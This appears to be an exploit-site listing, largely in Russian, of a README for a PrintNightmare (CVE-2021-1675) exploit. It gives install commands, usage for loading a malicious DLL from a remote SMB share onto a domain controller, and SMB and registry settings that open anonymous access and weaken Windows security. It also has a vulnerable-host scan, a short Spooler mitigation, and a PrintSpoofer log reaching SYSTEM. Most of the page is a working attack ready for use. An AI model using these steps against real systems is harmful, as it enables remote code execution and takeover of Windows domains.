Sploitus

Exploit for CVE-2021-1675

kitploit · 2026-08-25

Exploit Code

MARKDOWN131 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PUCKIESTYLE-CVE-2021-1675
# CVE-2021-1675

Реализация Impacket для PoC PrintNightmare, изначально созданного Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)

Протестировано на полностью пропатченном контроллере домена 2019

Выполнение вредоносных DLL удалённо или локально

![](https://assets.kitploit.com/production/public/readmes/30856/8c0b705b5f1a5bc28223414f695ee4676f4169ccd0a8fa9c171abc777bfcf78b.png)

### Установка

Перед запуском эксплойта необходимо установить мою версию Impacket, после этого всё работает

root@kitploit:~
    
    
    pip3 uninstall impacket
    git clone https://github.com/cube0x0/impacket
    cd impacket
    python3 ./setup.py install
    

### CVE-2021-1675.py

root@kitploit:~
    
    
    usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
    
    Реализация CVE-2021-1675.
    
    позиционные аргументы:
      target                [[domain/]username[:password]@]<targetName or address>
      share                 Путь к DLL. Пример '\\10.10.10.10\share\evil.dll'
    
    необязательные аргументы:
      -h, --help            показать это справочное сообщение и выйти
    
    аутентификация:
      -hashes LMHASH:NTHASH
                            NTLM хэши, формат: LMHASH:NTHASH
    
    подключение:
      -target-ip ip address
                            IP-адрес целевой машины. Если опущен, будет использовано то, что указано как target. Это полезно, когда target является NetBIOS-именем
                            и вы не можете его разрешить
      -port [destination port]
                            Порт назначения для подключения к SMB-серверу
    
    Пример;
    ./CVE-2021-1675.py hackit.local/domain_user:some-email@example.com '\\192.168.1.215\smb\addCube.dll'
    ./CVE-2021-1675.py hackit.local/domain_user:some-email@example.com 'C:\addCube.dll'
    

### Настройка SMB

Самый простой способ разместить полезные нагрузки — использовать samba и изменить `/etc/samba/smb.conf ` для разрешения анонимного доступа

root@kitploit:~
    
    
    [global]
        map to guest = Bad User
        server role = standalone server
        usershare allow guests = yes
        idmap config * : backend = tdb
        smb ports = 445
    
    [smb]
        comment = Samba
        path = /tmp/
        guest ok = yes
        read only = no
        browsable = yes
        force user = smbuser
    

С Windows это также возможно

root@kitploit:~
    
    
    mkdir C:\share
    icacls C:\share\ /T /grant Anonymous` logon:r
    icacls C:\share\ /T /grant Everyone:r
    New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
    REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
    REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
    # Reboot
    

### Сканирование

Мы можем использовать `rpcdump.py` из impacket для сканирования уязвимых хостов; если он возвращает значение, то хост уязвим

root@kitploit:~
    
    
    rpcdump.py @192.168.1.10 | grep MS-RPRN
    
    Protocol: [MS-RPRN]: Print System Remote Protocol
    

### Смягчение

Отключение службы диспетчера печати (Spooler)

root@kitploit:~
    
    
    Stop-Service Spooler
    REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start " /t REG_DWORD /d "4" /f
    

Или удаление служб печати

root@kitploit:~
    
    
    Uninstall-WindowsFeature Print-Services
    

Старый способ: c:\inetpub\wwwroot\nt4wrksv>PrintSpoofer.exe -i -c cmd PrintSpoofer.exe -i -c cmd [+] Found privilege: SeImpersonatePrivilege [+] Named pipe listening... [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami whoami nt authority\system

C:\Windows\system32>